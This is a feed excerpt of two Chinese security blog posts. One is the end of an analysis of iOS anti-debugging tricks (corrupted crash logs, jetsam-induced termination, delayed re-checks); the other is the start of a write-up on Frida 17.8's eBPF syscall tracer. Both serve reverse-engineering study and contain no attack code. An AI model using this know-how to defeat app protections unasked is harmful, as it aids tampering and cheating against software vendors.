&#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">在崩溃前覆盖寄存器状态</span></p></li><li style=""><p><span leaf="">让崩溃日志呈现无意义寄存器值</span></p></li><li style=""><p><span leaf="">混淆检测逻辑触发源并破坏回溯可读性</span></p></li></ul><h2 data-line="94" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5 应用如何借iOS之手终止自身</span></h2><p data-line="96" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">有一款游戏样本出现了我们见过最“奇怪”的崩溃形式：应用可以正常运行，但一旦开始调试就会被系统直接终止，而且没有常规崩溃日志。</span></p><p data-line="98" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">原因是内存压力策略。它不通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">abort()</span></code><span leaf="">或越界访问直接崩溃，而是把内存占用推高到足以触发jetsam。对iOS来说，jetsam是内核层面的内存回收机制：系统内存紧张或进程超限时，内核会直接终止进程。</span></p><p data-line="100" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">由于终止由系统执行，不会产生常规应用崩溃日志。你通常只能看到jetsam记录，而反调试检测逻辑不会出现在可用回溯中。</span></p><p data-line="102" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在该案例中，这一行为还与越狱检测、追踪检测等手段叠加，导致“沿着崩溃回溯定位检测点”这条常规路径几乎失效。</span></p><p data-line="104" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">技术要点：通过资源耗尽触发jetsam</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">申请过量内存以强制触发系统级终止</span></p></li><li style=""><p><span leaf="">避免生成应用层崩溃日志</span></p></li><li style=""><p><span leaf="">仅留下系统层jetsam记录</span></p></li></ul><h2 data-line="105" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6 应用如何持续复检</span></h2><p data-line="113" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">有些应用能通过初始检测，但仍会在后续阶段失败。</span></p><p data-line="115" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这类样本的共同点是：检测逻辑并未结束，而是在后台持续运行，并通过延迟机制执行惩罚。一次检测失败后，应用可能先记录状态，过一段时间再终止。这个延迟会切断“触发点和崩溃点”的直接关联。</span></p><p data-line="117" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">通常还会有周期任务充当心跳。它按固定间隔唤醒并重复执行部分检测逻辑，因此“启动时通过一次”并不代表后续安全。</span></p><p data-line="119" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这种设计会让行为变得不稳定且难以预测。失败可能在很晚阶段才出现，而且很难从表象直接反推出触发原因。</span></p><p data-line="121" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">技术要点：持续检测与延迟执行</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">记录篡改状态并在延迟后触发崩溃</span></p></li><li style=""><p><span leaf="">通过定时器解耦检测与执行</span></p></li><li style=""><p><span leaf="">使用周期心跳任务重复检查运行状态</span></p></li><li style=""><p><span leaf="">即便通过初始检查，也可再次触发终止</span></p></li></ul><h2 data-line="122" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">结论</span></h2><p data-line="131" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">把这些样本放在一起看，变化趋势很清晰。过去常见的是单点检测，或一次</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ptrace()</span></code><span leaf="">调用；现在更常见的是多层组合：早期做环境判断，运行时做调试器拦截，崩溃日志被主动破坏，甚至通过jetsam让日志彻底消失；再叠加完整性校验与延迟执行，整条保护链路会在应用启动后持续生效。</span></p><p data-line="133" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">每个单项技术都不算特别复杂，真正的难点在组合方式。你面对的不是某一个机制，而是一套彼此补位的系统。</span></p><p data-line="135" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果你熟悉Windows上的保护体系（反作弊、反调试、反篡改等），可能会问：为什么不直接采用更激进的内核驱动或代码注入方案？答案在于iOS的安全模型不同：它不允许内核扩展，也不允许未签名代码执行。</span></p><p><span leaf="">点击阅读原文跳转到原博客</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.calif.io/p/taking-apart-ios-apps-anti-debugging">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=601786dc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485071%26idx%3D1%26sn%3Ded0907e603198e77e3eca08dfce80a9a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 19 Mar 2026 20:45:00 +0800</pubDate>
    </item>
    <item>
      <title>Frida17.8引入的大招：基于eBPF的系统调用跟踪模块技术原理解析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485065&amp;idx=1&amp;sn=b0cbe4e7838e498c0c0238409e6ccc4e</link>
      <description>Frida17.8引入的大招：基于eBPF的系统调用跟踪模块技术原理解析</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-03-14 18:30</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9bc0d9f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeT9icEN108yyWE38kD6v86RAErDCj3HM1QUzEPsd3fVA8l2gFt1YrtCCk1pXcBOT9ibJzzticjR0E2xMLZ3tmD8ccjKyVeWHU3XQS4%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-line="0" dir="auto" style=" margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">Frida17.8引入的大招：基于eBPF的系统调用跟踪模块技术原理解析</span></h1><h2 data-line="2" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf=""><img alt="图片" class="rich_pages wxw-img" data-ratio="0.19" data-w="300" src="https://wechat2rss.xlab.app/img-proxy/?k=52c4d8e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FHp9HAaP9GFDF2miblYnrDUyJOAnDMA3816E00o98ST65vJ7aVXFNGusNsibYibCDwmROHjAlMDibhrNzzDPA2IdKp27n2d2uCrOn%2F640%3Fwx_fmt%3Dsvg%26from%3Dappmsg%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D0"/></span></h2><h2 data-line="2" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">背景</span></h2><p data-line="4" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Frida17.8.0（2026年3月9日）将</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida-strace</span></code><span leaf="">纳入主线发布。官方发布页给出了Android与iOS的实测命令。本次发布的核心价值在于将系统调用跟踪能力统一收敛到同一套跨平台服务协议。</span></p><p data-line="6" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从实现演进看，17.7.3优先修复了系统调用解码与内存安全边界问题，17.8.0完成协议收敛与Linux eBPF链路增强。本文聚焦</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">syscall-tracer</span></code><span leaf="">主链路与eBPF实现细节，并对关键提交进行归纳分析。</span></p><p data-line="8" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">话多说一句，这个功能挺适合用来做样本行为分析的。用来定位反调试与检测也很有用。后面我会用这个功能尝试找样本检测特征。</span></p><h2 data-line="9" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">分析范围与方法</span></h2><p data-line="12" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">分析窗口覆盖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">17.7.3..17.8.0</span></code><span leaf="">，以</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">subprojects/frida-core</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">subprojects/frida-tools</span></code><span leaf="">为核心。</span></p><p data-line="14" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">本文聚焦以下代码落点：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">Linux内核侧采集：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/linux/helpers/syscall-tracer.bpf.c</span></code></p></li><li style=""><p><span leaf="">Linux用户态桥接：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/linux/syscall-tracer.vala</span></code></p></li><li style=""><p><span leaf="">服务协议层：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">src/linux/linux-host-session.vala</span></code><span leaf="">内</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LinuxSyscallTraceServiceSession</span></code></p></li><li style=""><p><span leaf="">CLI消费层：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida_tools/stracer.py</span></code></p></li></ol><h2 data-line="17" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">syscall-tracer总体架构</span></h2><p data-line="23" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Frida17.8的系统调用跟踪由四层组成：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 